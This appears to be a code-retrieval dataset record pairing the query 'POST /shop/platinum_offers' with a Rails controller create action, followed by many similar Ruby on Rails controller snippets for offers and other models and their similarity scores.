@services = Service.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end", "def new\n @breadcrumb = 'create'\n @tool = Tool.new\n @companies = companies_dropdown\n @offices = offices_dropdown\n @products = products_dropdown\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tool }\n end\n end", "def new\n @point = Point.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @point }\n end\n end", "def new\n #@updateavail = Updateavail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @updateavail }\n end\n end", "def new\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end", "def new\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end", "def new\n @online_store = OnlineStore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @online_store }\n end\n end", "def new\n @partner = Partner.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @partner }\n end\n end", "def new\n @open_erp = OpenErp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @open_erp }\n end\n end", "def new\n @breadcrumb = 'create'\n @product = $product\n @company = $company\n @product_company_price = ProductCompanyPrice.new\n @suppliers = suppliers_dropdown\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @product_company_price }\n end\n end", "def new\n @offering = Offering.new\n session[:breadcrumbs].add \"New\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @offering }\n end\n end", "def new\n @przedmiot = Przedmiot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @przedmiot }\n end\n end", "def new\n @supplier = Supplier.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @supplier }\n end\n end", "def new\n @pokeparty = Pokeparty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pokeparty }\n end\n end", "def create\n @offer = Offer.new(offer_params)\n\n respond_to do |format|\n if @offer.save\n format.html { redirect_to @offer, notice: 'Offer was successfully created.' }\n format.json { render :show, status: :created, location: @offer }\n else\n format.html { render :new }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @offer = Offer.new(offer_params)\n\n respond_to do |format|\n if @offer.save\n format.html { redirect_to @offer, notice: 'Offer was successfully created.' }\n format.json { render :show, status: :created, location: @offer }\n else\n format.html { render :new }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @precious_metal = PreciousMetal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @precious_metal }\n end\n end", "def new\n @m_get_point = MGetPoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @m_get_point }\n end\n end", "def new\n @enterprise = Enterprise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @enterprise }\n end\n end", "def create\n ids = Offer.new_offer(offer_params)\n @offer = Offer.get_offer(ids[0], ids[1]) if ids\n #HACK\n @offer = Offer.create(offer_params) unless ids\n respond_to do |format|\n if ids\n format.html { redirect_to @offer, notice: 'Offer was successfully created.' }\n format.json { render :show, status: :created, location: @offer }\n else\n format.html { render :new }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @offer = current_user.offers.new(offer_params)\n\n respond_to do |format|\n if @offer.save\n format.html { redirect_to @offer }\n format.json { render :show, status: :created, location: @offer }\n else\n format.html { render :new }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @general_offer = GeneralOffer.new(general_offer_params)\n\n respond_to do |format|\n if @general_offer.save\n format.html { redirect_to @general_offer, notice: 'General offer was successfully created.' }\n format.json { render :show, status: :created, location: @general_offer }\n else\n format.html { render :new }\n format.json { render json: @general_offer.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.76421005", "0.759197", "0.759197", "0.759197", "0.75303197", "0.75135744", "0.73032314", "0.7297685", "0.7265925", "0.71909684", "0.71802956", "0.71693623", "0.7091577", "0.70513606", "0.70513606", "0.7018565", "0.69402945", "0.6922488", "0.6919518", "0.6902066", "0.6888658", "0.6885117", "0.6882559", "0.68795705", "0.6871367", "0.6855033", "0.68492717", "0.68449646", "0.68423414", "0.6814218", "0.6808108", "0.6803654", "0.6803654", "0.6802185", "0.6793714", "0.67887914", "0.67869854", "0.67804354", "0.67720723", "0.6760744", "0.67604405", "0.6752895", "0.6746202", "0.6745", "0.6736283", "0.67355585", "0.6719213", "0.6719213", "0.6719213", "0.6713664", "0.67111695", "0.6707757", "0.6707254", "0.67039293", "0.66884273", "0.66838163", "0.6682844", "0.6673253", "0.6670656", "0.66542095", "0.6653119", "0.6653119", "0.6651452", "0.6646826", "0.6646826", "0.66467017", "0.6642428", "0.6640547", "0.66394", "0.66359425", "0.6635647", "0.66308653", "0.66211295", "0.6618208", "0.6616694", "0.6616444", "0.6612172", "0.6600592", "0.65973943", "0.6595232", "0.65910643", "0.65892386", "0.6586186", "0.6586186", "0.6584561", "0.65835655", "0.6583026", "0.6580028", "0.657939", "0.6578857", "0.65766793", "0.65762615", "0.65751106", "0.65751106", "0.6574602", "0.65697443", "0.65660757", "0.65623987", "0.6559594", "0.6543706" ]
0.7928996
0
POST /shop/platinum_offers POST /shop/platinum_offers.json
def create @shop_platinum_offer = Shop::PlatinumOffer.new(params[:shop_platinum_offer]) respond_to do |format| if @shop_platinum_offer.save format.html { redirect_to @shop_platinum_offer, notice: 'Platinum offer was successfully created.' } format.json { render json: @shop_platinum_offer, status: :created, location: @shop_platinum_offer } else format.html { render action: "new" } format.json { render json: @shop_platinum_offer.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @shop_platinum_offer = Shop::PlatinumOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop_platinum_offer }\n end\n end", "def offers \n @host.offers.create(offer_params) if request.post?\n @offers = @host.offers\n end", "def create\n @offer = Offer.new(offers_params)\n\n respond_to do |format|\n if @offer.save\n format.jsonapi { render jsonapi: @offer, status: :created }\n else\n format.jsonapi { render jsonapi: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @shop_platinum_offers = Shop::PlatinumOffer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shop_platinum_offers }\n end\n end", "def create\n @offer = Offer.new(offer_params)\n\n if @offer.save\n render json: @offer, status: :created, location: @offer\n else\n render json: @offer.errors, status: :unprocessable_entity\n end\n end", "def create\n @offer = Offer.new(offer_params)\n\n respond_to do |format|\n if @offer.save\n format.html { redirect_to admin_offers_path,\n notice: 'Offer was successfully created.' }\n format.json { render :show, status: :created, location: @offer }\n else\n format.html { render :new }\n format.json { render json: @offer.errors,\n status: :unprocessable_entity }\n end\n end\n end", "def create\n @shop_special_offer = Shop::SpecialOffer.new(params[:shop_special_offer])\n\n respond_to do |format|\n if @shop_special_offer.save\n format.html { redirect_to @shop_special_offer, notice: 'Special offer was successfully created.' }\n format.json { render json: @shop_special_offer, status: :created, location: @shop_special_offer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shop_special_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def offers\n authenticated_post(\"offers\").body\n end", "def create\n @offer = Offer.new(offer_params)\n\n respond_to do |format|\n if @offer.save\n format.jsonapi { render :show, status: :created, location: @offer }\n else\n format.jsonapi { render jsonapi: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @special_offer = SpecialOffer.new(special_offer_params)\n\n respond_to do |format|\n if @special_offer.save\n format.html { redirect_to @special_offer, notice: 'Special offer was successfully created.' }\n format.json { render :show, status: :created, location: @special_offer }\n else\n format.html { render :new }\n format.json { render json: @special_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @offer = current_user.offers.new(offer_params)\n\n respond_to do |format|\n if @offer.save\n format.html { redirect_to @offer }\n format.json { render :show, status: :created, location: @offer }\n else\n format.html { render :new }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @breadcrumb = 'create'\n @sale_offer = SaleOffer.new(params[:sale_offer])\n @sale_offer.created_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @sale_offer.save\n format.html { redirect_to @sale_offer, notice: crud_notice('created', @sale_offer) }\n format.json { render json: @sale_offer, status: :created, location: @sale_offer }\n else\n @projects = projects_dropdown\n @work_orders = work_orders_dropdown\n @charge_accounts = projects_charge_accounts(@projects)\n @stores = stores_dropdown\n @clients = clients_dropdown\n @payment_methods = payment_methods_dropdown\n @status = sale_offer_statuses_dropdown\n # @products = products_dropdown\n @contracting_requests = contracting_requests_dropdown\n @approval = 'false'\n format.html { render action: \"new\" }\n format.json { render json: @sale_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @offer = current_user.offers.build(offer_params)\n\n respond_to do |format|\n if @offer.save\n format.html { redirect_to @offer, notice: 'Oferta utworzona pomyślnie.' }\n format.json { render :show, status: :created, location: @offer }\n else\n format.html { render :new }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_special_offer(rental, options = {})\n post(\"rentals/#{rental}/special_offers\", special_offers: [options]).pop\n end", "def create\n @shop_bonus_offer = Shop::BonusOffer.new(params[:shop_bonus_offer])\n\n respond_to do |format|\n if @shop_bonus_offer.save\n format.html { redirect_to @shop_bonus_offer, notice: 'Bonus offer was successfully created.' }\n format.json { render json: @shop_bonus_offer, status: :created, location: @shop_bonus_offer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shop_bonus_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @offer = Offer.new(offer_params)\n\n respond_to do |format|\n if @offer.save\n format.html { redirect_to @offer, notice: 'Offer was successfully created.' }\n format.json { render :show, status: :created, location: @offer }\n else\n format.html { render :new }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @offer = Offer.new(offer_params)\n\n respond_to do |format|\n if @offer.save\n format.html { redirect_to @offer, notice: 'Offer was successfully created.' }\n format.json { render :show, status: :created, location: @offer }\n else\n format.html { render :new }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @offer = Offer.new(offer_params)\n\n respond_to do |format|\n if @offer.save\n format.html { redirect_to @offer, notice: 'Offer was successfully created.' }\n format.json { render action: 'show', status: :created, location: @offer }\n else\n format.html { render action: 'new' }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @shop_special_offer = Shop::SpecialOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop_special_offer }\n end\n end", "def create\n @offer = Offer.new(offer_params)\n\n respond_to do |format|\n if @offer.save\n format.html { redirect_to offers_url, notice: 'Offer was successfully created.' }\n format.json { render :index, estado: :created, location: @offer }\n else\n format.html { render :new }\n format.json { render json: @offer.errors, estado: :unprocessable_entity }\n end\n end\n end", "def new\n @offers = Offer.all\n @price = Price.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @price }\n end\n end", "def index\n @offers = Offer.all\n\n render json: @offers\n end", "def offers\n return nil unless have_key?\n url = \"/v1/offers\"\n #Hashie::Mash.new(\n self.class.post(url, :headers => headers_for(url)).parsed_response\n end", "def of_generate_offer\n supplier = params[:supplier]\n request = params[:request]\n offer_no = params[:offer_no]\n offer_date = params[:offer_date] # YYYYMMDD\n offer = nil\n offer_item = nil\n code = ''\n\n if request != '0'\n offer_request = OfferRequest.find(request) rescue nil\n offer_request_items = offer_request.offer_request_items rescue nil\n if !offer_request.nil? && !offer_request_items.nil?\n # Format offer_date\n offer_date = (offer_date[0..3] + '-' + offer_date[4..5] + '-' + offer_date[6..7]).to_date\n # Try to save new offer\n offer = Offer.new\n offer.offer_no = offer_no\n offer.offer_date = offer_date\n offer.offer_request_id = offer_request.id\n offer.supplier_id = supplier\n offer.payment_method_id = offer_request.payment_method_id\n offer.created_by = current_user.id if !current_user.nil?\n offer.discount_pct = offer_request.discount_pct\n offer.discount = offer_request.discount\n offer.project_id = offer_request.project_id\n offer.store_id = offer_request.store_id\n offer.work_order_id = offer_request.work_order_id\n offer.charge_account_id = offer_request.charge_account_id\n offer.organization_id = offer_request.organization_id\n if offer.save\n # Try to save new offer items\n offer_request_items.each do |i|\n offer_item = OfferItem.new\n offer_item.offer_id = offer.id\n offer_item.product_id = i.product_id\n offer_item.description = i.description\n offer_item.quantity = i.quantity\n offer_item.price = i.price\n offer_item.tax_type_id = i.tax_type_id\n offer_item.created_by = current_user.id if !current_user.nil?\n offer_item.project_id = i.project_id\n offer_item.store_id = i.store_id\n offer_item.work_order_id = i.work_order_id\n offer_item.charge_account_id = i.charge_account_id\n if !offer_item.save\n # Can't save offer item (exit)\n code = '$write'\n break\n end # !offer_item.save?\n end # do |i|\n # Update totals\n offer.update_column(:totals, Offer.find(offer.id).total)\n else\n # Can't save offer\n code = '$write'\n end # offer.save?\n else\n # Offer request or items not found\n code = '$err'\n end # !offer_request.nil? && !offer_request_items.nil?\n else\n # Offer request 0\n code = '$err'\n end # request != '0'\n if code == ''\n code = I18n.t(\"ag2_purchase.offers.generate_offer_ok\", var: offer.id.to_s)\n end\n @json_data = { \"code\" => code }\n render json: @json_data\n end", "def create\n @offer = Offer.new(params[:offer])\n \n respond_to do |format|\n if @offer.save\n format.html { redirect_to [:admins,@offer], notice: 'Offer was successfully created.' }\n format.json { render json: @offer, status: :created, location: @offer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n ids = Offer.new_offer(offer_params)\n @offer = Offer.get_offer(ids[0], ids[1]) if ids\n #HACK\n @offer = Offer.create(offer_params) unless ids\n respond_to do |format|\n if ids\n format.html { redirect_to @offer, notice: 'Offer was successfully created.' }\n format.json { render :show, status: :created, location: @offer }\n else\n format.html { render :new }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @shop_resource_offer = Shop::ResourceOffer.new(params[:shop_resource_offer])\n\n respond_to do |format|\n if @shop_resource_offer.save\n format.html { redirect_to @shop_resource_offer, notice: 'Resource offer was successfully created.' }\n format.json { render json: @shop_resource_offer, status: :created, location: @shop_resource_offer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shop_resource_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @offer = Offer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "def new\n @offer = Offer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "def new\n @offer = Offer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "def create_offer\n end", "def create\n @offer = Offer.new(params[:offer])\n\n respond_to do |format|\n if @offer.save(params[:offer])\n format.html { redirect_to edit_offer_path(@offer), notice: 'Oferta a fost creata cu success.' }\n format.json { head :no_content }\n else\n format.html { render action: \"new\" }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @general_offer = GeneralOffer.new(general_offer_params)\n\n respond_to do |format|\n if @general_offer.save\n format.html { redirect_to @general_offer, notice: 'General offer was successfully created.' }\n format.json { render :show, status: :created, location: @general_offer }\n else\n format.html { render :new }\n format.json { render json: @general_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def manage_offer_for\n @offer_for = params[:for]\n @offer = @host.offers.find(params[:id])\n if request.post?\n if params[:places].present?\n @offer.places = []\n @offer.places << Place.find(params[:places])\n elsif params[:experiences].present?\n @offer.experiences = []\n @offer.experiences << Experience.find(params[:experiences])\n end\n end\n end", "def create\n @ms_offer = MsOffer.new(params[:ms_offer])\n\n respond_to do |format|\n if @ms_offer.save\n format.html { redirect_to @ms_offer, notice: 'Ms offer was successfully created.' }\n format.json { render json: @ms_offer, status: :created, location: @ms_offer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ms_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @offer = Offer.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "def create\n offer = Offer.where(user_id: @current_user.id, product_id: params[:product_id]).first\n if offer\n render status: 471, json: {error: true}\n else\n product = Product.find(params[:product_id])\n if product\n if product.user.id != @current_user.id\n if product.sold_status != Product.SOLD_SOLD\n offer = Offer.new\n offer.user = @current_user\n offer.price = params[:price]\n offer.offer_status = Offer.OFFER_OFFERED\n offer.product = product\n if offer.save()\n\n notify(\"NOTIF_NEW_OFFER\", {\n user: {\n id: @current_user.id,\n username: @current_user.username,\n first_name: @current_user.first_name,\n last_name: @current_user.last_name,\n },\n offer: {\n id: offer.id,\n price: offer.price,\n created_at: offer.created_at.strftime('%-l:%M%P')\n },\n product: {\n id: product.id,\n product_name: product.product_name\n }\n }, product.user_id)\n\n OfferMailer.new_offer_email(product.user, offer, product, @current_user).deliver_later!(wait: 15.seconds)\n\n payload = {\n error: false,\n id: offer.id\n }\n render status: 200, json: payload\n else\n errors = []\n offer.errors.keys.each do |key|\n errors << {field: key, message: offer.errors.full_messages_for(key).first}\n end\n payload = {\n error: true,\n errors: errors\n }\n render status: 200, json: payload\n end\n else\n render status: 473, json: {error: true}\n end\n else\n render status: 472, json: {error: true}\n end\n else\n render status: 404, json: {error: true}\n end\n end\n end", "def show\n @shop_platinum_offer = Shop::PlatinumOffer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop_platinum_offer }\n end\n end", "def create\n @offer_apartment = OfferApartment.new(offer_apartment_params)\n\n respond_to do |format|\n if @offer_apartment.save\n format.html { redirect_to @offer_apartment, notice: 'Offer apartment was successfully created.' }\n format.json { render :show, status: :created, location: @offer_apartment }\n else\n format.html { render :new }\n format.json { render json: @offer_apartment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @offer = Offer.new(params[:offer])\n @offer.account_id = @oeaccount.id\n respond_to do |format|\n if @offer.save\n format.html { redirect_to offers_url, notice: 'Offer was successfully created.' }\n format.json { render json: @offer, status: :created, location: @offer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def offer_params\n params.require(:offer).permit(:estado, :agency, :tipo, :app, :os, :kpi, :geo, :price, :agencyLink, :oferta_des)\n end", "def create\n @offering = current_user.offerings.new(offering_params)\n @offering.status = 1\n respond_to do |format|\n if @offering.save\n format.html { redirect_to @offering, notice: 'La oferta de servicio ha sido creada correctamente.' }\n format.json { render :show, status: :created, location: @offering }\n else\n format.html { render :new }\n format.json { render json: @offering.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @offer = Offer.new(params[:offer])\n if @offer.save\n redirect_to admin_offer_path(@offer), notice: 'Offer was successfully created.'\n else\n render :new\n end\n end", "def offer_params\n params.require(:offer).permit(:description, :price, :user_id, :listing_id, :status)\n end", "def offer_params\n params.require(:offer).permit(:product, :origins, :destination, :volumen, :price, :container, :general_load, :liquid_load, :load_compensation, :offert_type, :unit, :observation, :status, :service_start_date, :offer_finish_date, :offer_start_date, :service_finish_date)\n end", "def newOffer()\n @offer_operation = :create\n end", "def create\n @offer = Offer.new(offer_params)\n\n respond_to do |format|\n if @offer.save\n flash[:notice] = 'Se ha creado su nueva oferta'\n format.html { redirect_to @offer }\n format.json { render :show, status: :created, location: @offer }\n else\n format.html { render :new }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @base_offer = BaseOffer.new(base_offer_params)\n\n respond_to do |format|\n if @base_offer.save\n format.html { redirect_to base_offers_url, notice: 'Base offer was successfully created.' }\n format.json { render :show, status: :created, location: @base_offer }\n else\n format.html { render :index }\n format.json { render json: @base_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @auto_offer = AutoOffer.new(auto_offer_params)\n\n respond_to do |format|\n if @auto_offer.save\n format.html { redirect_to offers_path, notice: 'Auto offers ware successfully created.' }\n format.json { render action: 'show', status: :created, location: @auto_offer }\n else\n format.html { render action: 'new' }\n format.json { render json: @auto_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @shop_resource_offer = Shop::ResourceOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop_resource_offer }\n end\n end", "def create\n @offer = Offer.new(offer_params)\n\n respond_to do |format|\n if @offer.save\n flash[:notice] = 'Se ha creado una oferta'\n format.html { redirect_to @offer}\n format.json { render :show, status: :created, location: @offer }\n format.js {}\n else\n format.html { render :new }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n format.js {}\n end\n end\n end", "def new\n @ms_offer = MsOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ms_offer }\n end\n end", "def create\n @offer = @company.offers.new(offer_params)\n @offer.user = current_user\n\n respond_to do |format|\n if @offer.save\n format.html { redirect_to @company, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @offer }\n else\n format.html { render :new }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @breadcrumb = 'create'\n @sale_offer = SaleOffer.new\n @projects = projects_dropdown\n @work_orders = work_orders_dropdown\n @charge_accounts = projects_charge_accounts(@projects)\n @stores = stores_dropdown\n @clients = clients_dropdown\n @payment_methods = payment_methods_dropdown\n @status = sale_offer_statuses_dropdown\n # @products = products_dropdown\n @contracting_requests = contracting_requests_dropdown\n @approval = 'false'\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sale_offer }\n end\n end", "def new\n @shop_bonus_offer = Shop::BonusOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop_bonus_offer }\n end\n end", "def new\n @shop_special_offers_transaction = Shop::SpecialOffersTransaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop_special_offers_transaction }\n end\n end", "def offer_params\n params.require(:offer).permit(:price, :company)\n end", "def create_offer(options = {}, &block)\n options = set_options(options, &block)\n @response = post('offer', options)\n end", "def create\n\n # merge the raw post data into the params\n params.merge!(Rack::Utils.parse_nested_query(request.raw_post))\n\n url = params[:australia_post_api_connection][:shop]\n\n #try to find the shop preference using url\n preference = Preference.find_by_shop_url!(url)\n\n # recalculate the weight to include blanks\n calculated_weight = params[:australia_post_api_connection][:blanks].to_i * preference.default_weight.to_f\n calculated_weight += params[:australia_post_api_connection][:weight].to_f\n\n items = params[:australia_post_api_connection][:items]\n \n if (preference.offers_flat_rate)\n if (calculated_weight <= preference.under_weight)\n @service_list = Array.new\n @service_list.append({ name: \"Shipping\",\n code: \"Shipping\",\n price: preference.flat_rate.to_s}) \n respond_to do |format| \n format.js { render content_type: 'text/html', layout: false }\n format.html { render content_type: 'text/html', layout: false } \n end\n return #evil...\n end\n end\n \n weight = params[:australia_post_api_connection][:weight]\n \n if (preference.free_shipping_by_collection)\n subtract_weight = 0\n \n #get free shipping items weight and subtract total weight.\n item_array = items.split(',')\n \n app_shop = Shop.find_by_url(url)\n \n ShopifyAPI::Session.temp(app_shop.myshopify_domain, app_shop.token) do \n item_array.each do |item|\n variant = ShopifyAPI::VariantWithProduct.find(item) \n p = ShopifyAPI::Product.find(variant.product_id)\n \n p.collections.each do |col|\n fields = col.metafields\n field = fields.find { |f| f.key == 'free_shipping' && f.namespace ='AusPostShipping'}\n unless field.nil?\n subtract_weight += variant.grams if field.value == \"true\" \n end\n end\n \n p.smart_collections.each do |col|\n fields = col.metafields\n field = fields.find { |f| f.key == 'free_shipping' && f.namespace ='AusPostShipping'}\n unless field.nil?\n subtract_weight += variant.grams if field.value == \"true\" \n end\n end\n end\n end\n \n \n weight = weight.to_f - subtract_weight/1000\n end\n\n\n if (weight.to_f == 0.0)\n #no need to call australia post. no weight of item\n @service_list = Array.new\n @service_list.append({ name: \"Free Shipping\",\n code: \"Free Shipping\",\n price: \"0.0\"}) \n respond_to do |format| \n format.js { render content_type: 'text/html', layout: false }\n format.html { render content_type: 'text/html', layout: false } \n end\n return\n else \n @australia_post_api_connection = AustraliaPostApiConnection.new({:weight=> weight,\n :blanks => params[:australia_post_api_connection][:blanks],\n :from_postcode => preference.origin_postal_code,\n :country_code => params[:australia_post_api_connection][:country_code],\n :to_postcode => params[:australia_post_api_connection][:to_postcode],\n :height=>preference.height, :width=>preference.width, :length=>preference.length,\n :container_weight => preference.container_weight, :items => items\n })\n end\n \n @australia_post_api_connection.domestic = ( @australia_post_api_connection.country_code == \"AUS\" )\n\n # get country list from the API -- we'll format these if there were no errors\n @service_list = @australia_post_api_connection.data_oriented_methods(:service) # get the service list\n\n if @australia_post_api_connection.domestic\n shipping_methods = preference.shipping_methods_allowed_dom\n shipping_desc = preference.shipping_methods_desc_dom\n else\n shipping_methods = preference.shipping_methods_allowed_int\n shipping_desc = preference.shipping_methods_desc_int\n end\n\n respond_to do |format|\n if @australia_post_api_connection.save\n\n @countries = get_country_list(@australia_post_api_connection)\n # TODO right now we are not including the suboptions for each shipping type\n #filter out unwanted methods more efficiently?\n\n @service_list = Array.wrap( @service_list[1]['service'] ).inject([]) do |list, service|\n Rails.logger.debug(\"service code is \" + service['code'])\n if shipping_methods[service['code']]\n price_to_charge = service['price'].to_f\n shipping_name = shipping_desc[service['code']].blank? ? service['name'] : shipping_desc[service['code']]\n unless preference.nil?\n unless preference.surcharge_percentage.nil?\n if preference.surcharge_percentage > 0.0\n price_to_charge =(price_to_charge * (1 + preference.surcharge_percentage/100)).round(2)\n end\n end\n\n unless preference.surcharge_amount.nil?\n if preference.surcharge_amount > 0.0\n price_to_charge = (price_to_charge + preference.surcharge_amount).round(2)\n end\n end\n end\n\n list.append({ name: shipping_name,\n code: service['code'],\n price: price_to_charge})\n end\n \n list\n end\n\n # check if need to add free shipping option\n if (preference.free_shipping_option)\n @service_list.append({ name: preference.free_shipping_description,\n code: \"Free\",\n price: \"0.00\"})\n end\n format.js { render content_type: 'text/html', layout: false }\n format.html { render content_type: 'text/html', layout: false }\n else // if @australia_post_api_connection.save\n # set the flash\n\n flash.now[:error] = @australia_post_api_connection.api_errors.join(', ')\n # format.html { render action: \"new\" }\n # format.json { render json: @australia_post_api_connection.errors, status: :unprocessable_entity }\n # if (flash.now[:error].blank?)\n # format.html { render :text => \"api_error\" }\n # else\n format.html { render partial: \"trouble\", layout: false }\n # end\n end\n end\n end", "def offer_params\n params.require(:offer).permit(:product, :title, :description)\n end", "def create\n c= Compare.find(params[:compare])\n c.offers<< Offer.new(offer_params)\n # @offer = Offer.new(offer_params)\n @offer = c.offers.last\n\n respond_to do |format|\n if @offer.save\n format.html { redirect_to [@offer.compare.site,@offer], notice: 'offer was successfully created.' }\n format.json { render :show, status: :created, location: @offer }\n else\n format.html { render :new }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n userID = session[:user_id]\n editionID = params[:edition_id]\n price = params[:price]\n\n uri = URI(\"http://107.170.7.58:4567/api/create/sell\")\n parameters = {\"ext\" => \"json\", \"user_id\" => userID, \"edition_id\" => editionID, \"price\" => price, \"start_date\" => Time.now, \"end_date\" => 90.days.from_now}\n response = Net::HTTP.post_form(uri, parameters)\n list = JSON.parse(response.body)\n\n @response = list[0][\"kind\"]\n end", "def offer_params\n params.require(:offer).permit(:proposal,:price, :post_id, :status)\n end", "def index\n @offers = Offer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offers }\n end\n end", "def show\n render json: @offer\n end", "def show\n render json: @offer\n end", "def list\n offers = []\n if params[:product_id]\n product = Product.find(params[:product_id])\n if product && (product.sold_status != Product.SOLD_SOLD || params[:allow_sold])\n if product.user.id == @current_user.id && params[:include_offers_made_by_other_users] == \"true\"\n product.offers.each do |offer|\n offers << {\n offer_id: offer.id,\n product: {\n user: {\n user_id: product.user.id\n },\n thumbnail: product.thumbnail,\n product_id: product.id,\n product_name: product.product_name,\n product_price: product.price\n },\n product_name: product.product_name,\n user: {\n user_id: offer.user.id,\n\t\t\t\t username: offer.user.username,\n first_name: offer.user.first_name,\n last_name: offer.user.last_name\n },\n conversation: offer.conversation ? {id: offer.conversation.id} : nil,\n offer_status: offer.offer_status,\n price: offer.price,\n created_at: offer.created_at.strftime(\"%-m/%-d/%Y\")\n }\n end\n elsif product.user.id != @current_user.id && params[:include_offers_made_by_current_user] == \"true\"\n offer = Offer.find_by(product_id: product.id, user_id: @current_user.id)\n if offer\n offers << {\n offer_id: offer.id,\n product: {\n user: {\n user_id: product.user.id,\n\t\t\t\t username: product.user.username\n },\n thumbnail: product.thumbnail,\n product_id: product.id,\n product_name: product.product_name,\n product_price: product.price\n },\n product_name: product.product_name,\n user: {\n user_id: offer.user.id,\n\t\t\t\t username: offer.user.username,\n first_name: offer.user.first_name,\n last_name: offer.user.last_name\n },\n conversation: offer.conversation ? {id: offer.conversation.id} : nil,\n offer_status: offer.offer_status,\n price: offer.price,\n created_at: offer.created_at.strftime(\"%-m/%-d/%Y\")\n }\n end\n end\n else\n render status: 404, json: {error: true}\n end\n else\n if params[:include_offers_made_by_current_user] == \"true\"\n @current_user.offers.each do |offer|\n if (offer.product.sold_status != Product.SOLD_SOLD || params[:allow_sold])\n offers << {\n offer_id: offer.id,\n product: {\n user: {\n user_id: offer.product.user.id,\n\t\t\t\t username: offer.product.user.username\n },\n thumbnail: offer.product.thumbnail,\n product_id: offer.product.id,\n product_name: offer.product.product_name,\n product_price: offer.product.price\n },\n product_name: offer.product.product_name,\n user: {\n user_id: offer.user.id,\n\t\t\t\t username: offer.user.username,\n first_name: offer.user.first_name,\n last_name: offer.user.last_name\n },\n conversation: offer.conversation ? {id: offer.conversation.id} : nil,\n offer_status: offer.offer_status,\n price: offer.price,\n created_at: 